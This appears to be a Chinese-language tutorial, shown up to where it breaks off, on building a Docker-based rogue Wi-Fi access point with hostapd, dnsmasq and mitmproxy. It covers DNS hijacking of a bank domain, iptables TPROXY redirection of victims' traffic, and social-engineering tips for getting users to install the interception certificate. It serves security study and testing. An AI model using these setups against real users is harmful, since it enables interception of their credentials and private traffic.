基于Docker的中间人攻击无线接入点实战项目:mitm-router-spouting_whale
简介:mitm-router(spouting_whale版本)是一个在Docker容器中实现的中间人攻击(MITM)无线访问点工具,结合hostapd、mitmproxy和潜在的honeypot技术,用于安全研究与渗透测试。该项目通过Docker容器化技术隔离运行环境,利用hostapd创建无线接入点,借助mitmproxy拦截并分析HTTP/HTTPS流量,支持对网络通信的实时监控与操控。同时可能集成honeypot机制以增强攻击行为分析能力。本项目适用于网络安全学习者和研究人员深入理解MITM攻击原理,所有功能均已打包于mitm-router-master压缩包中,仅供合法教育与测试使用。 
1. 中间人攻击(MITM)原理详解
中间人攻击(Man-in-the-Middle Attack, MITM)是一种典型的网络攻击模式,攻击者通过ARP欺骗、DNS劫持或无线AP伪造等方式,将自身插入通信双方的数据传输路径中,实现对加密或明文流量的监听与篡改。在TCP/IP协议栈中,MITM通常发生在数据链路层或网络层,利用协议设计的松散信任机制(如ARP无认证广播)获取流量重定向能力。其核心目标是透明地拦截、解密并可能修改客户端与服务器之间的交互数据,尤其在未启用端到端加密的场景下危害极大。
2. Docker容器化环境搭建与隔离机制
在现代网络安全研究与渗透测试实践中,容器化技术已成为构建可复现、高隔离性实验环境的核心手段。尤其是在中间人攻击(MITM)场景中,通过 Docker 构建专用网络拓扑结构,能够有效模拟真实世界中的无线接入点、网关路由器以及监听节点之间的通信行为。本章将深入剖析 Docker 容器化环境的搭建过程及其底层隔离机制,重点探讨如何利用命名空间、控制组和网络模型实现安全边界,并在此基础上设计一个高度可控且具备持久化能力的 MITM 测试平台。
容器不仅提供了轻量级的虚拟化封装能力,更重要的是其对资源、进程和网络的精细化管理支持。然而,这种灵活性也带来了潜在的安全风险——特别是在权限配置不当或镜像设计不合理的情况下,可能引发容器逃逸等严重后果。因此,在部署用于流量劫持和协议分析的容器环境时,必须深刻理解其运行原理与安全边界,确保测试系统的稳定性与安全性。
此外,随着红队演练与蓝队防御技术的不断演进,传统的物理设备调试方式已难以满足快速迭代的需求。基于 Docker 的多容器协作架构,允许研究人员以声明式的方式定义复杂的网络拓扑,包括 AP 节点、NAT 网关、代理服务器及日志存储节点,从而实现模块化、可扩展的 MITM 实验体系。接下来的内容将从容器核心技术出发,逐步展开至具体环境构建流程,为后续章节中 hostapd 服务部署与 mitmproxy 流量拦截提供坚实基础。
2.1 容器化技术核心概念与安全边界
容器化技术的本质在于“操作系统级虚拟化”,它不同于传统虚拟机依赖于 Hypervisor 层进行硬件抽象,而是直接共享宿主机内核,通过内核提供的隔离机制为每个容器创建独立的执行视图。这一特性使得容器启动速度快、资源占用低,特别适合需要频繁启停或并行运行多个实例的安全测试任务。
要真正掌握 Docker 的使用与防护策略,首先需理解其背后的关键组件与隔离机制。这些机制共同构成了容器的安全边界,决定了容器能否被有效限制在其预定范围内运行,防止越权访问宿主机资源或影响其他容器。
2.1.1 Docker架构与运行时组件解析
Docker 并非单一程序,而是一套由多个组件协同工作的系统。其核心架构主要包括以下几个部分:
- Docker Client :用户交互接口,接收命令如
docker run、docker build。 - Docker Daemon (dockerd) :后台服务进程,负责镜像管理、容器生命周期控制、网络配置等。
- Containerd :容器运行时管理守护进程,由 dockerd 调用,处理容器的创建、启动、停止。
- runc :符合 OCI(Open Container Initiative)标准的低层运行时,实际执行容器的
clone()系统调用,设置命名空间和 cgroups。 - 镜像层(Image Layers) :只读文件系统层堆叠,采用联合挂载(UnionFS)技术形成最终根文件系统。
- 卷(Volumes)与绑定挂载(Bind Mounts) :用于数据持久化与主机间资源共享。
下图展示了 Docker 各组件间的调用关系:
graph TD
A[Docker CLI] --> B[Docker Daemon]
B --> C[containerd]
C --> D[runc]
D --> E[(Kernel: Namespaces + Cgroups)]
F[Docker Image] --> B
G[Volume] --> B
当执行 docker run ubuntu echo "hello" 命令时,Docker Client 将请求发送给 Docker Daemon;后者拉取 ubuntu 镜像(若本地不存在),交由 containerd 创建容器对象;containerd 再调用 runc 执行 create 和 start 操作,最终通过 Linux 内核的 clone() 系统调用来初始化一个新的进程,该进程受限于特定的命名空间和资源限制。
值得注意的是,runc 是整个链路中最接近内核的一环,也是历史上多次出现漏洞的地方(如 CVE-2019-5736)。一旦攻击者能控制 runc 执行上下文,就有可能覆盖宿主机上的 /bin/sh 文件,导致完全的容器逃逸。
以下是一个典型的容器启动流程代码示例(简化版 shell 脚本模拟逻辑):
#!/bin/bash
# 模拟 docker run 的基本流程
IMAGE="alpine"
COMMAND="sh -c 'echo Hello from container'"
# 步骤1:拉取镜像(假设已存在)
echo "[*] Pulling image: $IMAGE"
docker pull $IMAGE > /dev/null 2>&1
# 步骤2:创建容器(使用 runc 风格的 config.json 准备阶段)
echo "[*] Creating container rootfs..."
mkdir -p mycontainer/rootfs
docker export $(docker create $IMAGE) | tar -C mycontainer/rootfs -xvf -
# 步骤3:准备容器配置文件(config.json)
cat > mycontainer/config.json <<EOF
{
"ociVersion": "1.0.2",
"process": {
"terminal": true,
"user": { "uid": 0, "gid": 0 },
"args": ["/bin/sh", "-c", "$COMMAND"],
"env": ["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"],
"cwd": "/",
"capabilities": {
"bounding": ["CAP_CHOWN", "CAP_DAC_OVERRIDE"],
"effective": [],
"inheritable": [],
"permitted": [],
"ambient": []
}
},
"root": {
"path": "rootfs"
},
"hostname": "test-container",
"mounts": [
{ "destination": "/proc", "type": "proc", "source": "proc" },
{ "destination": "/dev", "type": "tmpfs", "source": "tmpfs" }
],
"linux": {
"namespaces": [
{ "type": "pid", "path": "" },
{ "type": "network", "path": "" },
{ "type": "ipc", "path": "" },
{ "type": "uts", "path": "" },
{ "type": "mount", "path": "" }
],
"resources": {
"memory": { "limit": 536870912 } # 512MB
}
}
}
EOF
# 步骤4:使用 runc 运行容器(需先安装 runc)
cd mycontainer && runc run test_container
逻辑分析与参数说明 :
- 第一步调用
docker pull获取基础镜像,确保本地存在所需文件系统层。- 使用
docker export提取容器文件系统内容,保存为目录形式供 runc 使用。config.json是 OCI 标准定义的容器配置文件,其中关键字段包括:process.args:指定容器启动命令;linux.namespaces:声明启用的命名空间类型;resources.memory.limit:通过 cgroup 设置内存上限;capabilities:限制容器获得的特权能力,减少攻击面。- 最终调用
runc run实际触发容器进程的创建。
该脚本虽为教学演示,但清晰揭示了 Docker 抽象层背后的本质操作:所有高级指令最终都转化为对内核特性的调用。这也意味着任何对容器安全的理解,都不能脱离对 Linux 内核机制的掌握。
| 组件 | 功能描述 | 安全关注点 |
|---|---|---|
| Docker Daemon | 容器调度中枢 | 若被未授权访问,可执行任意容器 |
| containerd | 容器状态管理 | 与 dockerd 通信需加密 |
| runc | 实际容器运行时 | 曾发生严重逃逸漏洞(CVE-2019-5736) |
| 镜像仓库 | 存储镜像层 | 不可信镜像可能导致恶意代码注入 |
| 卷(Volume) | 数据持久化 | 错误挂载可能导致宿主机文件泄露 |
由此可见,Docker 架构虽简洁高效,但每一层均存在潜在攻击向量。合理配置各组件权限、使用最小化镜像、禁用不必要的功能(如 --privileged ),是保障容器环境安全的前提。
2.1.2 命名空间(Namespace)与控制组(Cgroup)的隔离机制
Linux 内核提供的两大基石——命名空间(Namespace)与控制组(Cgroup),是实现容器隔离的核心技术。它们分别解决了“视图隔离”与“资源限制”两个维度的问题。
命名空间:构建独立的系统视图
命名空间允许多个进程拥有各自独立的全局系统资源视图,例如 PID、网络接口、挂载点等。即使多个容器运行在同一台机器上,它们也无法感知彼此的存在,从而实现了逻辑上的隔离。
目前 Linux 支持七种主要命名空间类型:
| Namespace 类型 | 隔离内容 | 示例效果 |
|---|---|---|
PID |
进程 ID 空间 | 容器内 ps aux 只能看到自己的进程 |
NET |
网络栈(接口、路由、端口) | 容器拥有独立 IP 与防火墙规则 |
MNT |
挂载点 | 容器可单独挂载 /tmp 或 /proc |
UTS |
主机名与域名 | 容器可设置不同 hostname |
IPC |
进程间通信资源(信号量、消息队列) | 防止跨容器 IPC 攻击 |
USER |
用户和用户组 ID 映射 | 实现用户命名空间映射,增强安全性 |
CGROUP |
Cgroup 根目录可见性 | 限制容器只能看到自己的 cgroup 层级 |
例如,使用 unshare 命令可以手动创建一个新的命名空间:
# 在新 PID 命名空间中运行 bash
sudo unshare --fork --pid --mount-proc bash
此时进入的 shell 中运行 ps aux ,仅显示当前命名空间内的进程,无法查看宿主机其他进程。
更进一步地,Docker 在启动容器时会自动设置所有相关命名空间。我们可以通过查看 /proc/<pid>/ns/ 目录来验证:
# 查看某容器进程的命名空间 inode 编号
ls -la /proc/$(docker inspect -f '{{.State.Pid}}' mycontainer)/ns/
输出类似:
lrwxrwxrwx 1 root root 0 Apr 5 10:00 net -> net:[4026532009]
lrwxrwxrwx 1 root root 0 Apr 5 10:00 pid -> pid:[4026532010]
相同编号表示属于同一命名空间,不同则隔离。这是判断容器是否共享网络或 PID 的重要依据。
控制组(Cgroup):限制资源使用
如果说命名空间解决的是“看得见”的问题,那么 Cgroup 解决的是“用得多”的问题。Cgroup(Control Group)是一种内核机制,用于限制、记录和隔离进程组的资源使用(CPU、内存、I/O、网络等)。
Cgroup 分为 v1 和 v2 两个版本,推荐使用统一层级结构的 v2。以内存为例,可通过如下方式限制容器最大使用 200MB:
docker run -it --memory=200m alpine sh
此时,该容器的所有进程总内存不得超过 200MB,超出则触发 OOM Killer。
查看对应 cgroup 路径:
# 获取容器 PID
PID=$(docker inspect -f '{{.State.Pid}}' <container_name>)
# 查看其所属 cgroup
cat /proc/$PID/cgroup
输出示例:
0::/user.slice/user-1000.slice/session-1.scope/docker/abc123...
这表明该进程受控于特定的 cgroup 路径下的资源控制器。
以下是一个手动创建 cgroup 并限制 CPU 使用率的示例:
# 创建名为 'limited' 的 cgroup
sudo mkdir /sys/fs/cgroup/cpu/limited
# 设置最多使用 50% CPU(周期 100ms,配额 50ms)
echo 50000 > /sys/fs/cgroup/cpu/limited/cpu.cfs_quota_us
echo 100000 > /sys/fs/cgroup/cpu/limited/cpu.cfs_period_us
# 启动一个消耗 CPU 的进程并加入该组
dd if=/dev/zero of=/dev/null &
PID=$!
echo $PID > /sys/fs/cgroup/cpu/limited/cgroup.procs
# 观察 top 输出,确认 CPU 使用被限制
top -p $PID
逻辑分析与参数说明 :
cpu.cfs_period_us表示调度周期(微秒),默认为 100000(即 100ms);cpu.cfs_quota_us表示在此周期内允许使用的最大时间;- 当
quota < period时,实现 CPU 限流;- 将进程 PID 写入
cgroup.procs即将其纳入该组管理。
综上所述,命名空间与 cgroup 共同构成了容器的“双保险”机制:前者屏蔽外部干扰,后者防止资源滥用。但在实际应用中仍需警惕某些特殊场景下的绕过风险,比如通过 /dev/kmem 访问内核内存、利用 procfs 泄露信息等。
2.1.3 容器网络模型与bridge模式下的通信特性
Docker 默认采用 bridge 网络模式为容器提供网络连接能力。该模式下,Docker 会在宿主机上创建一个虚拟网桥(通常为 docker0 ),并为每个容器分配独立的 IP 地址,形成内部私有网络。
Bridge 模式工作原理
- Docker 启动时自动创建
docker0网桥(网段一般为172.17.0.1/16); - 每个容器启动时,Docker 创建一对 veth 设备(vethXXX <-> vethYYY);
- 一端连接到
docker0网桥,另一端置于容器的网络命名空间内作为eth0; - 容器通过 NAT(SNAT/DNAT)与外部通信,由 iptables 规则实现地址转换。
graph LR
A[Container A] -- vethA --> B[docker0]
C[Container B] -- vethB --> B
B --> D[External Network via NAT]
style A fill:#f9f,stroke:#333
style C fill:#f9f,stroke:#333
style B fill:#bbf,stroke:#333,color:#fff
这种结构使得容器之间可通过 IP 直接通信,同时对外表现为宿主机的一个出口。
自定义 bridge 网络实践
为了更好地支持 MITM 测试环境,建议使用自定义 bridge 网络,以便精确控制子网划分与 DNS 设置:
# 创建自定义网络
docker network create \
--driver bridge \
--subnet=192.168.100.0/24 \
--gateway=192.168.100.1 \
--opt com.docker.network.bridge.name=mitmbr0 \
mitm-network
# 在该网络中启动容器
docker run -d --name ap-node --network mitm-network \
--ip=192.168.100.10 \
alpine sleep 3600
此时可通过 ip addr show mitmbr0 查看网桥状态,确认 IP 分配正确。
更重要的是,在 MITM 场景中,往往需要让某个容器充当“网关”角色,接收所有流量并转发至真实互联网。此时需开启宿主机的 IP 转发功能:
# 启用 IPv4 转发
sysctl -w net.ipv4.ip_forward=1
# 添加 NAT 规则(使容器流量经宿主机上网)
iptables -t nat -A POSTROUTING -s 192.168.100.0/24 -o eth0 -j MASQUERADE
随后在客户端容器中设置默认网关为 192.168.100.1 (即代理节点 IP),即可实现透明代理所需的流量重定向。
| 网络模式 | 特点 | 适用场景 |
|---|---|---|
| bridge(默认) | 自动 NAT,简单易用 | 单机多容器通信 |
| host | 直接使用宿主机网络栈 | 高性能、低延迟需求 |
| none | 无网络 | 完全隔离测试 |
| macvlan | 容器获得 MAC 地址,直连物理网络 | 需要独立局域网身份 |
对于 MITM 测试而言, bridge 模式结合自定义子网是最优选择 ,因其既能保证容器间通信可控,又便于通过 iptables 实施流量劫持与重定向。
综上,通过对 Docker 架构、命名空间、cgroup 与网络模型的深入剖析,我们已建立起对容器化环境安全边界的全面认知。这为后续构建专用 MITM 测试平台奠定了坚实的理论与实践基础。
3. hostapd构建无线访问点(AP)配置实战
在现代网络安全研究与渗透测试中,构建一个可控的无线接入环境是实施中间人攻击(MITM)的基础前提。通过搭建自定义的无线访问点(Access Point, AP),研究人员可以完全掌控客户端连接过程、网络拓扑结构以及流量转发路径,从而为后续的流量监听、劫持和篡改提供操作空间。本章节聚焦于使用 hostapd 工具实现高性能、可定制化的无线AP部署,涵盖从协议基础到设备适配的完整技术链条,尤其适用于红队演练、安全教学及蜜网系统建设等场景。
3.1 无线网络协议基础与AP工作原理
理解无线局域网(WLAN)的工作机制是成功部署 hostapd 的理论基石。当前主流的Wi-Fi通信基于 IEEE 802.11 系列标准,其物理层与数据链路层的设计决定了无线信号的传输效率、安全性及兼容性。在实际应用中,无线AP作为客户端(STA)与有线网络之间的桥梁,不仅负责信道管理、身份认证,还需处理复杂的帧交换流程。深入掌握这些底层机制,有助于规避配置错误、提升稳定性,并为高级功能如多SSID广播或MAC地址欺骗打下坚实基础。
3.1.1 IEEE 802.11标准族概述与帧结构解析
IEEE 802.11 是由电气与电子工程师协会(IEEE)制定的一系列无线局域网通信规范,涵盖了从原始的802.11a/b/g/n/ac/ax等多个演进版本。每个版本对应不同的频段、调制方式与吞吐能力:
| 标准 | 频段 | 最大速率 | 调制技术 | 典型应用场景 |
|---|---|---|---|---|
| 802.11b | 2.4 GHz | 11 Mbps | DSSS/CCK | 早期家庭网络 |
| 802.11g | 2.4 GHz | 54 Mbps | OFDM | 普通办公环境 |
| 802.11n | 2.4/5 GHz | 600 Mbps | MIMO-OFDM | 中小型企业 |
| 802.11ac | 5 GHz | 6.9 Gbps | MU-MIMO, 256-QAM | 高带宽需求场所 |
| 802.11ax (Wi-Fi 6) | 2.4/5 GHz | 9.6 Gbps | OFDMA, 1024-QAM | 密集用户区域 |
所有802.11通信均以“帧”为基本单位进行封装,每一帧包含前导码(Preamble)、PLCP报头、MAC头部、有效载荷与FCS校验字段。其中,MAC帧根据用途分为三大类:
- 管理帧(Management Frame) :用于网络发现(Beacon)、认证(Authentication)、关联(Association)等。
- 控制帧(Control Frame) :协助数据传输,如RTS/CTS、ACK确认。
- 数据帧(Data Frame) :承载上层协议数据(如IP包)。
例如,在客户端扫描可用网络时,AP会周期性发送 Beacon帧 ,其内容包括:
- Timestamp: 同步时间戳
- Beacon Interval: 帧发送间隔(通常100 TU ≈ 102.4ms)
- Capability Info: 是否支持加密、短前导码等
- SSID: 网络名称(可隐藏)
- Supported Rates: 支持的数据速率集合
- RSN/WPA IE: 安全信息元素(指示WPA2/WPA3支持)
以下是一个典型的Beacon帧抓包示意图(使用 tcpdump -i wlan0 -e -s0 -w beacon.pcap 捕获后用Wireshark分析):
sequenceDiagram
participant AP
participant Client
AP->>Client: Beacon(Frame Control=0x80, Subtype=8)
Note right of AP: 广播SSID="TestNetwork"
Client->>AP: Probe Request(SSIDs=?)
AP->>Client: Probe Response(Beacon格式回复)
Client->>AP: Authentication Req(Open System)
AP->>Client: Authentication Resp(Status=Success)
Client->>AP: Association Request(Capabilities, Rates)
AP->>Client: Association Response(AID分配)
该流程展示了从被动扫描到完成关联的关键步骤。值得注意的是,若启用了WPA/WPA2,则后续将触发四次握手(4-Way Handshake),此过程涉及PMK、PTK的生成与密钥协商,将在下一节详细展开。
对于 hostapd 来说,它本质上模拟了上述帧的生成与响应逻辑。当配置文件中设置 ssid=MyAP 且 auth_algs=1 时, hostapd 将启动定时器定期发送Beacon帧,并监听来自客户端的Probe Request与Authentication请求,进而进入状态机处理流程。这种对帧级别的控制能力使得研究人员能够注入伪造帧、拦截握手包,甚至构造降级攻击条件。
此外,帧结构中的 Sequence Control 字段 可用于检测重放攻击;而 Duration/ID 字段 则参与NAV(Network Allocation Vector)机制,防止冲突。理解这些字段的作用,有助于在调试高丢包率或连接超时问题时快速定位瓶颈。
3.1.2 无线信道选择与干扰规避策略
在2.4GHz频段中,共有14个信道(不同国家开放数量不同),但仅有三个非重叠信道(1、6、11)可供独立使用。由于大量设备(蓝牙、微波炉、Zigbee)共存于该频段,信道拥塞成为影响AP性能的主要因素之一。合理选择信道不仅能提高吞吐量,还能减少帧丢失与延迟抖动。
常见的信道分布如下表所示:
| 信道编号 | 中心频率 (MHz) | 占用带宽 (MHz) | 邻近干扰风险 |
|---|---|---|---|
| 1 | 2412 | 2401–2423 | 低(边缘) |
| 6 | 2437 | 2426–2448 | 中(中心) |
| 11 | 2462 | 2451–2473 | 低(边缘) |
| 13 | 2472 | 2461–2483 | 高(部分受限) |
建议优先选用信道1、6或11,避免使用中间值(如3、4、8、9)以降低交叉干扰。可通过 iwlist wlan0 scan 扫描周围信号强度,选取最空闲的信道:
sudo iwlist wlan0 scan | grep -E "(ESSID|Frequency|Level)"
输出示例:
ESSID:"HomeWiFi" Frequency:2.437 GHz (Channel 6) Level=-65 dBm
ESSID:"GuestNet" Frequency:2.412 GHz (Channel 1) Level=-70 dBm
ESSID:"Office_AP" Frequency:2.462 GHz (Channel 11) Level=-80 dBm
此时应选择 Channel 11,因其信号最弱,竞争最小。
在 hostapd.conf 中明确指定信道可避免自动切换带来的不确定性:
hw_mode=g
channel=11
ieee80211n=1
vht_oper_chwidth=0
参数说明 :
-hw_mode=g:表示运行在2.4GHz频段,采用802.11g标准;
-channel=11:固定使用第11信道;
-ieee80211n=1:启用HT(High Throughput)模式,支持40MHz绑定;
-vht_oper_chwidth=0:禁用VHT(Wi-Fi 5)宽信道,防止兼容性问题。
为进一步优化抗干扰能力,可结合动态频率选择(DFS)机制(主要应用于5GHz频段)与发射功率调节。某些高端网卡支持 txpower 设置:
sudo iw dev wlan0 set txpower fixed 1500 # 设置为15dBm
过高功率可能导致邻近设备饱和,过低则覆盖不足,需根据实际环境调整。
3.1.3 WPA/WPA2-PSK认证流程与密钥交换机制
WPA(Wi-Fi Protected Access)及其增强版WPA2是目前最广泛使用的无线安全协议,采用预共享密钥(PSK)模式实现身份验证。整个认证流程依赖于四次握手(4-Way Handshake),目的是协商出临时密钥(PTK)用于加密后续数据流量。
握手流程如下图所示:
sequenceDiagram
participant Supplicant(Client)
participant Authenticator(AP/hostapd)
Supplicant->>Authenticator: EAPOL-Start (Optional)
Authenticator->>Supplicant: ANonce(随机数A)
Supplicant->>Authenticator: SNonce(随机数S) + MIC(校验码)
Authenticator->>Supplicant: GTK + Encrypted Key Data + MIC
Supplicant->>Authenticator: ACK确认
核心参数包括:
- PMK(Pairwise Master Key):由SSID和密码通过PBKDF2-SHA1算法生成;
- ANonce & SNonce:双方生成的随机数;
- PTK = PRF(PMK, “Pairwise key expansion”, Min(A, S) || Max(A, S) || min(AA, SA) || max(AA, SA))
其中PRF为伪随机函数,确保密钥不可预测。
在 hostapd 配置中启用WPA2-PSK需添加如下参数:
wpa=2
wpa_passphrase=MySecurePass123!
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
代码解释 :
-wpa=2:启用WPA2协议;
-wpa_passphrase:设置预共享密钥;
-wpa_key_mgmt=WPA-PSK:密钥管理模式为PSK;
-rsn_pairwise=CCMP:使用AES-CCMP加密算法,替代不安全的TKIP。
一旦握手完成,所有后续数据帧均通过CCMP加密,使用CTR模式加CBC-MAC保障机密性与完整性。攻击者若想解密流量,必须获取PMK或捕获完整的四次握手包以便离线爆破——这也是 hostapd 搭建MITM环境的重要目标之一。
3.2 hostapd服务部署与动态配置管理
hostapd (Host Access Point daemon)是一款开源的用户态守护进程,专用于将Linux系统转变为功能完备的无线AP。相比内核级驱动, hostapd 提供了高度灵活的配置接口,支持多种认证方式、VLAN划分及RADIUS集成,特别适合科研与安全测试用途。本节将详细介绍其配置语法、多SSID支持机制,并结合 dnsmasq 实现完整的局域网服务闭环。
3.2.1 配置文件参数详解(interface、ssid、hw_mode等)
hostapd 的行为由主配置文件(通常位于 /etc/hostapd/hostapd.conf )驱动。以下是最关键的几组参数及其作用解析:
# 基础接口与模式设置
interface=wlan0
driver=nl80211
ssid=MITM-Honeypot
hw_mode=g
channel=6
# 认证与安全配置
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
# WPA2-PSK 设置
wpa=2
wpa_passphrase=Password123
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
# 高级选项
ctrl_interface=/var/run/hostapd
ctrl_interface_group=0
逐行解读如下:
| 参数 | 说明 |
|---|---|
interface=wlan0 |
指定使用的无线接口名称,须处于未被占用状态 |
driver=nl80211 |
使用通用netlink接口驱动,兼容大多数现代芯片组 |
ssid=MITM-Honeypot |
广播的网络名称,可包含中文但建议ASCII |
hw_mode=g |
工作模式:a(5GHz)、b(11Mbps)、g(54Mbps) |
channel=6 |
固定信道,避免跳频导致不稳定 |
macaddr_acl=0 |
MAC地址过滤开关:0=关闭,1=允许列表,2=拒绝列表 |
auth_algs=1 |
认证算法:1=开放系统,2=共享密钥,3=两者都允许 |
ignore_broadcast_ssid=0 |
是否隐藏SSID:0=广播,1=不广播,2=仅响应probe |
注意事项 :更改
hw_mode后必须重启网卡或重新加载模块,否则可能报错Failed to set mode.
启动命令:
sudo hostapd /etc/hostapd/hostapd.conf
若需后台运行,可加 -B 参数:
sudo hostapd -B /etc/hostapd/hostapd.conf
通过 journalctl -u hostapd 或查看日志输出可排查启动失败原因,常见问题包括:
- 接口已被 NetworkManager 占用 → 使用 nmcli dev set wlan0 managed no
- 缺少root权限 → 必须以 sudo 运行
- 驱动不支持AP模式 → 检查 iw list | grep "Supported interface modes" | grep AP
3.2.2 支持多SSID广播与客户端接入控制(MAC过滤)
hostapd 支持在同一物理接口上创建多个虚拟AP(Virtual Interface),实现多SSID广播。这在模拟公共热点、区分访客与内部网络时极为有用。
首先创建虚拟接口:
sudo iw dev wlan0 interface add wlan0_0 type __ap
sudo iw dev wlan0 interface add wlan0_1 type __ap
然后分别为每个接口编写配置文件并启动:
hostapd-vap0.conf
interface=wlan0_0
ssid=CORP-NET
wpa=2
wpa_passphrase=CorpPass!2025
channel=6
hostapd-vap1.conf
interface=wlan0_1
ssid=GUEST-WIFI
wpa=0
max_num_sta=10
isolate_clients=1
同时启动两个实例:
sudo hostapd -B hostapd-vap0.conf
sudo hostapd -B hostapd-vap1.conf
此外,可通过 accept_mac_file 和 deny_mac_file 实现精细的MAC级访问控制:
macaddr_acl=1
accept_mac_file=/etc/hostapd/allowed.list
allowed.list 内容示例:
# 允许接入的设备
00:11:22:33:44:55 comment=admin-laptop
aa:bb:cc:dd:ee:ff comment=test-phone
每行支持注释,便于维护。此机制可用于构建白名单制蜜罐网络,仅允许特定目标连接。
3.2.3 结合dnsmasq实现DHCP分配与DNS响应劫持
单靠 hostapd 仅能完成链路层接入,要使客户端获得IP并上网,需配合 dnsmasq 提供DHCP与DNS服务。
安装并配置 dnsmasq :
sudo apt install dnsmasq
编辑 /etc/dnsmasq.conf :
interface=wlan0
dhcp-range=192.168.10.100,192.168.10.200,12h
dhcp-option=option:router,192.168.10.1
server=8.8.8.8
address=/www.bank.com/192.168.10.1
参数说明 :
-dhcp-range:分配IP范围与时长;
-dhcp-option:指定默认网关;
-server:上游DNS服务器;
-address:强制将bank.com解析至本地IP,实现DNS劫持。
随后配置NAT转发:
sudo sysctl net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
最终形成完整服务链:
graph TD
A[Client] --> B{Connects to}
B --> C[hostapd: SSID Broadcast]
C --> D[Authenticate via WPA2]
D --> E[Obtain IP from dnsmasq DHCP]
E --> F[Send DNS Query]
F --> G{dnsmasq checks hosts}
G -->|Matched| H[Return Fake IP]
G -->|Not Matched| I[Forward to 8.8.8.8]
至此,整个无线中间人平台已具备基础服务能力,为后续HTTPS解密与流量操控奠定执行环境。
4. mitmproxy实现HTTP/HTTPS流量拦截与修改
在现代网络安全攻防体系中,对应用层流量的可见性已成为渗透测试、安全审计和威胁分析的核心能力之一。 mitmproxy 作为一款功能强大且高度可扩展的中间人代理工具,能够以透明或显式方式介入客户端与服务器之间的通信过程,尤其擅长处理 HTTP/HTTPS 协议栈的数据流。其不仅支持实时流量查看、请求响应篡改,还提供完整的脚本接口用于自动化操作,是构建高级 MITM 攻击平台的关键组件。本章将深入剖析 mitmproxy 的运行机制,结合实际攻击场景演示如何部署并控制目标设备的流量路径,最终实现对加密通信的有效解密与内容操控。
4.1 mitmproxy核心功能与代理模式解析
mitmproxy 是一个开源的交互式 HTTPS 中间人代理,具备命令行界面(mitmweb)、Web UI(mitmweb)以及 API 接口等多种使用形式,广泛应用于安全研究、API 调试和网络行为监控等领域。它的核心优势在于能够在不改变原始通信逻辑的前提下,动态地拦截、查看、修改进出终端设备的应用层数据包,尤其适用于模拟真实用户环境下的 Web 流量分析。
4.1.1 正向代理、透明代理与反向代理的应用场景区分
在 MITM 攻击架构中,选择合适的代理模式决定了流量是否需要手动配置客户端,以及能否实现无感知监听。根据部署方式的不同, mitmproxy 可工作于三种典型模式:正向代理(Forward Proxy)、透明代理(Transparent Proxy)和反向代理(Reverse Proxy),每种模式对应不同的网络拓扑结构与应用场景。
| 代理类型 | 配置方式 | 是否需客户端设置 | 典型用途 | 安全检测规避难度 |
|---|---|---|---|---|
| 正向代理 | 手动设置浏览器或系统代理 | 是 | 开发调试、个人抓包、API 分析 | 较低 |
| 透明代理 | 利用 iptables/TCP 重定向实现 | 否 | 网关级流量监听、企业内网审计 | 中等 |
| 反向代理 | 前置于后端服务 | 否 | 漏洞验证、WAF 绕过、API 接口伪造 | 高 |
说明 :
- 正向代理 要求目标设备主动配置代理地址(如http://<mitmproxy-ip>:8080),适合可控环境下的精细分析;
- 透明代理 通过路由规则自动将流量导向代理服务,常用于 AP 网关设备上,使所有连接 Wi-Fi 的设备无感被监控;
- 反向代理 则用于伪装成合法服务端接收请求,常见于钓鱼网站或蜜罐系统中。
graph TD
A[客户端] -->|直接访问| B(互联网)
A -->|配置代理| C[正向代理: mitmproxy]
C --> D[目标服务器]
E[客户端] -->|未设代理| F[路由器/网关]
F -->|iptables TPROXY| G[透明代理: mitmproxy]
G --> H[目标服务器]
I[外部用户] --> J[反向代理: mitmproxy]
J --> K[内部Web服务]
上述流程图展示了三类代理在网络中的位置差异。其中透明代理最具隐蔽性,也是构建
mitm-router系统的基础技术路径。
实际部署建议:
对于红队演练或安全测试项目,推荐采用 透明代理 + DHCP 自动推送 DNS 的组合方案。该方法无需诱导用户安装证书或更改设置,仅需将其接入由 hostapd + dnsmasq + mitmproxy 构建的伪 AP 环境即可完成流量劫持。例如,在第三章所述环境中,一旦客户端成功获取 IP 地址,其后续所有 HTTP 请求都会被重定向至本地 mitmproxy 实例进行解析。
此外,为确保 HTTPS 流量可解密,必须提前在目标设备上信任 mitmproxy 自动生成的 CA 根证书(默认位于 ~/.mitmproxy/mitmproxy-ca-cert.pem )。若无法物理接触设备,则可通过社会工程学手段诱导用户扫码安装证书,或利用移动设备配置描述文件(MobileConfig)实现 iOS 自动导入。
4.1.2 流量重定向机制:iptables规则配置与TPROXY使用
要实现透明代理,关键步骤是将进入网关设备的 TCP 流量(尤其是 80 和 443 端口)无缝转发至 mitmproxy 监听端口(通常为 8080)。这一过程依赖 Linux 内核的 netfilter 框架,借助 iptables 配合 TPROXY 模块完成跨接口的非 NAT 式重定向。
以下是典型的 iptables 规则集,用于启用透明代理:
# 启用 IP 转发
echo 1 > /proc/sys/net/ipv4/ip_forward
# 清除已有规则
iptables -t mangle -F PREROUTING
iptables -t nat -F PREROUTING
# 将目的端口为 80 和 443 的流量标记并重定向到本地 8080 端口
iptables -t mangle -A PREROUTING -p tcp --dport 80 -j TPROXY --on-port 8080 --tproxy-mark 0x1/0x1
iptables -t mangle -A PREROUTING -p tcp --dport 443 -j TPROXY --on-port 8080 --tproxy-mark 0x1/0x1
# 设置路由表,确保本地处理这些被标记的连接
ip rule add fwmark 0x1 lookup 100
ip route add local default dev lo table 100
代码逐行解读 :
1.echo 1 > /proc/sys/net/ipv4/ip_forward:开启内核 IP 转发功能,允许设备作为路由器。
2.-t mangle -F PREROUTING:清除 mangle 表中的 PREROUTING 链规则,避免冲突。
3.--dport 80 -j TPROXY --on-port 8080:当数据包目标端口为 80 时,使用 TPROXY 动作将其重定向至本机 8080 端口。
4.--tproxy-mark 0x1/0x1:为匹配的数据包打上防火墙标记(fwmark),以便后续路由决策识别。
5.ip rule add fwmark 0x1 lookup 100:添加一条策略路由规则,凡带有标记 0x1 的包查表 100。
6.ip route add local default dev lo table 100:在表 100 中指定此类流量应由本地回环接口处理,从而交由用户态程序(即 mitmproxy)接管。
